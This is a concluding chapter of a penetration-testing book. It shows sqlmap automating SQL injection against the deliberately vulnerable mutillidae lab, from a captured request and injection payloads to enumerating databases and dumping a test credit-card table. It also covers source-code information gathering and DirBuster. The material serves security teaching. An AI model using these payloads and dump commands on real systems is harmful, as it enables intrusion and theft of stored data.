I hope you have gotten an idea of how, as a penetration tester, you could test a web application and find its security flaws by hunting bugs. In this concluding chapter, we will see how we can extend our knowledge of what we have learned so far. In the previous chapter, we saw how SQL injection has been done; however, we have not seen the automated part of SQL injection, which can be done by other tools alongside Burp Suite. We will use sqlmap, a very useful tool, for this purpose.
Tools that Can Be Used Alongside Burp Suite
We have seen earlier that the best alternative to Burp Suite is OWASP ZAP. Where Burp Community edition has some limitations, ZAP can help you overcome them. Moreover,
ZAP
is an open source free tool; it is community-based, so you don’t have to pay for it for using any kind of advanced technique. We have also seen how ZAP works. Here, we will therefore concentrate on sqlmap only, another very useful tool we need for bug hunting.
The
sqlmap
is command line based. It comes with Kali Linux by default. You can just open your terminal and start scanning by using sqlmap. However, as always, be careful about using it against any live system; don’t use it without permission. If your client’s web application has vulnerabilities, you can use sqlmap to detect the database, table names, columns, and even read the contents inside. We will see in a moment how we can do that.
Alongside Burp Suite and OWASP ZAP, I strongly recommend using sqlmap, as it is one of the most useful tools that we penetration testers use for finding security flaws in any web application.
Let me scan my web site
https://sanjibsinha.fun
. We are going to retrieve all the information available about this web site. To do that, we will use a flag-a
; it means retrieve everything. Learning about all these options is quite easy; you can read the
documentation
using this link:
https://github.com/sqlmapproject/sqlmap/wiki/Usage
or you can just type -h or --help
.
//code A.1
root@kali:~# sqlmap -u https://sanjibsinha.fun -a
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 06:24:04 /2019-08-20/
[06:24:05] [INFO] testing connection to the target URL
[06:24:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[06:24:09] [INFO] testing if the target URL content is stable
[06:24:40] [WARNING] potential CAPTCHA protection mechanism detected
[06:24:40] [WARNING] it appears that you have been blocked by the target server
[06:24:40] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[06:24:53] [INFO] searching for dynamic content
[06:25:00] [CRITICAL] target URL content appears to be heavily dynamic. sqlmap is going to retry the request(s)
[06:25:22] [WARNING] target URL content appears to be too dynamic. Switching to '--text-only'
[06:25:22] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
[*] ending @ 06:25:22 /2019-08-20/
We have found a lot of interesting information about this site. First of all, it finds “target URL content appears to be heavily dynamic.” That is true because I have used Wordpress and another database-driven dynamic blog engine inside; second, “potential CAPTCHA protection mechanism detected,” which is also useful information. Finally, the sqlmap asks for any parameterized query like
www.site.com/index.php?id=1
. That, I don’t have in my web site Therefore, we can conclude, apparently, the URL provided has no vulnerabilities. However, we could extend our scanning inside and might find vulnerabilities in the database.
This can be done in our virtual lab on any intentionally vulnerable web application like mutillidae. In any client’s web application, we can use the same technique to examine whether it has vulnerabilities or not.
Let us open the
mutillidae SQL injection
extract data user info page. In Chapter
10
, you can check Figure
10-15
where it is shown how you can get that page. Before logging in as the user (Figure
A-1
), we have opened the Burp Suite and kept the intercept on.
Since we have kept intercept
on
, we have got the request in our Burp Suite tool (Figure
A-2
).
Here is the
output
we have got in the Burp Suite:
//code A.2
GET /mutillidae/index.php?page=user-info.php&username=sanjib&password=123456&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: 192.168.2.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.2.3/mutillidae/index.php?page=user-info.php
Cookie: showhints=1; PHPSESSID=h5ssn4mn749e9apf1j5hflmbm3; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
Next, we will send this request to the
Repeater section
of Burp Suite to get the response (Figure
A-3
). We want to be sure that our response is perfectly correct. We have captured the user name and password successfully. However, we want to use this request to find the database and more database-related information using sqlmap.
Save the request as thetest.request
file in the/tmp
folder of Kali Linux. You can do that through the terminal, or you can open a text editor likegedit
, paste the request, and save it in the/tmp
folder. You don't need to save it in/tmp
; you could have saved it anywhere, such as on the desktop. Wherever you save the file, you need to go to that directory and issue this command to find out about the database:
//code A.3
root@kali:/tmp# sqlmap -r test.request --banner
We are using the--banner
flag to give us the information about the database used in an application. The--banner
flag
retrieves only the DBMS banner; and this time we want only that. We are not interested in retrieving all the information. In that case, we would have used-a
.
Here the output is quite big, so we need to make it short for brevity.
//code A.4
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:30:37 /2019-08-20/
[08:30:37] [INFO] parsing HTTP request from 'test.request'
[08:30:38] [INFO] testing connection to the target URL
[08:30:40] [INFO] heuristics detected web page charset 'windows-1252'
[08:30:40] [INFO] testing if the target URL content is stable
[08:30:40] [INFO] target URL content is stable
[08:30:40] [INFO] testing if GET parameter 'page' is dynamic
[08:30:41] [INFO] GET parameter 'page' appears to be dynamic
...
[08:31:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
....
[08:33:51] [INFO] testing if GET parameter 'username' is dynamic
[08:33:53] [WARNING] GET parameter 'username' does not appear to be dynamic
.....
[08:43:14] [INFO] target URL appears to have 7 columns in query
[08:43:21] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified
the following injection point(s) with a total of 218 HTTP(s) requests:
---
Payload: page=user-info.php&username=-3423' OR 4975=4975#&password=123456&user-info-php-submit-button=View Account Details
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=user-info.php&username=sanjib' AND (SELECT 8222 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(SELECT (ELT(8222=8222,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dNfA&password=123456&user-info-php-submit-button=View Account Details
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: page=user-info.php&username=sanjib' AND SLEEP(5)-- sJJx&password=123456&user-info-php-submit-button=View Account Details
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
---
[08:43:23] [INFO] the back-end DBMS is MySQL
[08:43:23] [INFO] fetching banner
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3ubuntu12.6-log'
[08:43:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:43:24 /2019-08-20/
We have finally discovered the database; it is MySQL. We have received other information about the application as well (Figure
A-4
).
Now, we are sure
about
the database, and the column nameusername
has vulnerabilities; therefore, we can use them in our next level of scanning with sqlmap and we will acquire that information.
//code A.5
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL --banner
The output is as usual quite big, so we are not going to give the complete output here. The last part of the output is as follows, which is important for us. Furthermore, we have used option-r
for loading the HTTP request from a file. By default,sqlmap
tests all GET parameters and POST parameters. Still, we don’t want them every time we scan a database; in such cases, we can use option-p
to test for GET parameterid
and for HTTPUser-Agent
only. It will provide theid
and theuser-agent
.
//code A.6
Parameter: username (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: page=user-info.php&username=-3423' OR 4975=4975#&password=123456&user-info-php-submit-button=View Account Details
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=user-info.php&username=sanjib' AND (SELECT 8222 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(SELECT (ELT(8222=8222,1))),0x7162717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- dNfA&password=123456&user-info-php-submit-button=View Account Details
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: page=user-info.php&username=sanjib' AND SLEEP(5)-- sJJx&password=123456&user-info-php-submit-button=View Account Details
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
---
[08:47:22] [INFO] testing MySQL
[08:47:23] [WARNING] reflective value(s) found and filtering out
[08:47:23] [INFO] confirming MySQL
[08:47:29] [INFO] the back-end DBMS is MySQL
[08:47:29] [INFO] fetching banner
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.0
banner: '5.1.41-3ubuntu12.6-log'
[08:47:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:47:29 /2019-08-20/
We have gotten more information, such as the nature of the database, the server operating system, the application technology, its version, the database version, and the banner also; however, we want all the database names used in the OWASP broken web application. So we will continue the scanning:
//code A.7
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL --dbs
It will give us a complete
list
of databases (Figure
A-5
). The intentionally vulnerable application
mutillidae
is one of them.
The output of the complete list of
databases
looks like this:
//code A.8
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=user-info.php&username=sanjib' UNION ALL SELECT NULL,CONCAT(0x7162767071,0x4d72546474614551564b707a554b4b6d6d4542524f6547444953444f52656a4b5a724c6a514c5868,0x7162717a71),NULL,NULL,NULL,NULL,NULL#&password=123456&user-info-php-submit-button=View Account Details
---
[08:49:35] [INFO] testing MySQL
[08:49:35] [INFO] confirming MySQL
[08:49:37] [WARNING] reflective value(s) found and filtering out
[08:49:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[08:49:37] [INFO] fetching database names
available databases [34]:
[*] .svn
[*] bricks
[*] bwapp
[*] citizens
[*] cryptomg
[*] dvwa
[*] gallery2
[*] getboo
[*] ghost
[*] gtd-php
[*] hex
[*] information_schema
[*] isp
[*] joomla
[*] mutillidae
[*] mysql
[*] nowasp
[*] orangehrm
[*] personalblog
[*] peruggia
[*] phpbb
[*] phpmyadmin
[*] proxy
[*] rentnet
[*] sqlol
[*] tikiwiki
[*] vicnum
[*] wackopicko
[*] wavsepdb
[*] webcal
[*] webgoat_coins
[*] wordpress
[*] wraithlogin
[*] yazd
[08:49:38] [INFO] fetched data logged
to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:49:38 /2019-08-20/
Now, we are in a position to examine any database belonging to that list. We are interested in the
nowasp
database. We could have chosen any one of them, no problem. We can use the database name and pass the
tables
flag to get the exact output of the table names (Figure
A-6
).
The command is like this:
//code A.9
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp --tables
The output is quite expected; we get all the table names.
//code A.10
...
[08:51:31] [INFO] testing MySQL
[08:51:31] [INFO] confirming MySQL
[08:51:33] [WARNING] reflective value(s) found and filtering out
[08:51:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[08:51:33] [INFO] fetching tables for database: 'nowasp'
Database: nowasp
[12 tables]
+----------------------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| help_texts |
| hitlog |
| level_1_help_include_files |
| page_help |
| page_hints |
| pen_test_tools |
| youtubevideos |
+----------------------------+
[08:51:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:51:34 /2019-08-20/
Would you like to see what the
table
credit_cards
contains?
Well, the command is now simple enough to know all the column names.
//code A.11
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp -T credit_cards --columns
We have passed the table name first, and after that, we pass the
--columns
flag to get the column names (Figure
A-7
).
Here is the output. We have
shortened
it for brevity.
//code A.12
[08:54:05] [INFO] testing MySQL
[08:54:05] [INFO] confirming MySQL
[08:54:06] [WARNING] reflective value(s) found and filtering out
[08:54:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[08:54:06] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
Database: nowasp
Table: credit_cards
[4 columns]
+------------+---------+
| Column | Type |
+------------+---------+
| ccid | int(11) |
| ccnumber | text |
| ccv | text |
| expiration | date |
+------------+---------+
[08:54:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:54:07 /2019-08-20/
Finally, we can dump all the data from thecredit_cards
table by a single command.
//code A.13
root@kali:/tmp# sqlmap -r test.request -p username --dbms=MySQL -D nowasp -T credit_cards --dump
This command will dump all the
data
that the table has inside it (Figure
A-8
).
Here is the output of the inside data of the tablecredit_cards
.
//code A.14
[08:56:26] [INFO] testing MySQL
[08:56:26] [INFO] confirming MySQL
[08:56:28] [WARNING] reflective value(s) found and filtering out
[08:56:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[08:56:28] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
[08:56:28] [INFO] fetching entries for table 'credit_cards' in database 'nowasp'
Database: nowasp
Table: credit_cards
[5 entries]
+------+-----+------------------+------------+
| ccid | ccv | ccnumber | expiration |
+------+-----+------------------+------------+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 |
+------+-----+------------------+------------+
[08:56:29] [INFO] table 'nowasp.credit_cards' dumped to CSV file '/root/.sqlmap/output/192.168.2.3/dump/nowasp/credit_cards.csv'
[08:56:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.3'
[*] ending @ 08:56:29 /2019-08-20/
We have just shown how powerful
sqlmap
can be. As a penetration tester, you can test your client’s application using sqlmap, especially when database-related scanning is necessary. The hacking tool sqlmap is used specifically to automate SQL injection. In real life, to counter bad guys from compromising your database and back-end infrastructure, you need to make sure that your database is secured. For that reason, besides Burp Suite and OWASP ZAP, sqlmap is considered to be one of the most important tools for hunting security bugs in any web application.
How Source Code Disclosure Helps Information Gathering
Information gathering is a part of hunting security bugs. As you have seen in the preceding examples, while I was scanning a request, I received a lot of information simultaneously. This information helps a penetration tester to recognize a specific web application. The disclosure about the application is often found in HTML comments and at the same time in certain patterns in the HTML page source code. The links to specific CSS or JavaScript folders also augment chances to find the paths of files and folders that also come to a penetration tester’s aid. Finding any web site’s HTML source code is not difficult. Staying on any web page, you can click the second mouse button and you will see “View page source.” Clicking on
https://sanjibsinha.fun
home page source code will take you to the HTML source code, like this:
<head>
<title>Sanjib Sinha...</title>
<meta charset="UTF-8">
<meta name="description" content="I write for Apress... ">
<meta name="keywords" content="Apress, Sanjib Sinha, Computer Science, Kolkata, C, C++, Dart, Flutter, Mobile Apps, Python, Ethical Hacking, PHP, Laravel... ">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Styles -->
<style>
/*!
* Bootstrap v4.1.3 (https://getbootstrap.com/)
* Copyright 2011-2018 The Bootstrap Authors
...
</style>
</head>
For brevity, I have shortened the<head></head>
tag. This is a simple PHP page and the HTML output is also very simple. For a big web application it could be different; yet you are always in a state to gather some passive information from this HTML source. However, tools likesqlmap
, Burp Suite, or OWASP ZAP will always give more information about any target. Supposing you want to know about the application language; you cannot get it from the HTML source code. If an application uses any CMS or any framework like Laravel, it can be best found with those tools only. We have seen those examples before.
From themeta
tag, we know about the nature of the application and its versions.
When we see somemeta
tag like this:
//code A.15
<meta name="generator" content="WordPress 3.9.2" />
we can easily determine the nature of the application. But, to get that particular information, we need to use Burp Suite.
In the Burp Suite
Repeater tool
, we have seen how the response part of a web application always gives us the full application infrastructure. We can see that important information is placed between the<head></head>
tags, in<meta>
tags, or at the end of the page.
We can gather information from the HTML sources; furthermore, we can find the specific files and folders. That will also help us. A good tool is
DirBuster
. Its author is OWASP; therefore, it’s free and community based. Just open your terminal in Kali Linux and type:
It will open the software like this (Figure
A-9
).
Determining the
nature
of a specific application is a part of hunting security bugs. A few paths to the specific files and folders may be found from the HTML source codes, but not all. In such cases, DirBuster may come to our aid. It finds out the paths to folders and files that are not explicitly presented in the HTML source code. This tool brute-forces a target with folder and file names, and at the same time it monitors the HTTP responses. Based on the finding, a penetration tester can find default files and attack them accordingly.
What Could Be the Next Challenges to Hunting Bugs?
A successful penetration tester may want to become a bounty hunter. You can earn money, as well as fame and respect from the hacking community. As time passes by, you must prepare yourself to encounter difficulties. As you progress, the situations will be demanding and stimulating at the same time. A hacker who is paid to find vulnerabilities in software and web sites is called a bug bounty hunter; however, a high degree of curiosity is required along with a high degree of computer skills. The main requirement is that you need to keep learning continuously.
In this book you have learned a few techniques; moreover, you have learned how to organize yourself using different software hacking tools. Besides using them frequently, you need to prepare yourself by analyzing the default application installs; analysis of system and application documentation is extremely important. You need to analyze error messages; researching old web exploits will also help.
Remember, a successful
penetration tester
spends a lot of time describing the issue as clearly as possible. When you write the proof of concept, avoid introducing unnecessary reading overhead; be to the point and write it as precisely as possible.
While doing your homework, remember a few key points. Since in most of the bug bounty programs the focus of activity is centered on the web application, you need to read the publicly disclosed bugs on web sites like HackerOne and others as well. Check out Google’s Bughunter University. If you are a complete beginner, you need to make yourself comfortable with the virtual lab first. Install the OWASP Broken Web Application so that you can prepare yourself on intentionally vulnerable applications like mutillidae or bWAPP.
In this book we have tried to learn about hunting security bugs in web applications step by step; however, everything takes time and it takes persistence, hours of research, and determination to become a successful penetration tester and a bug bounty hunter.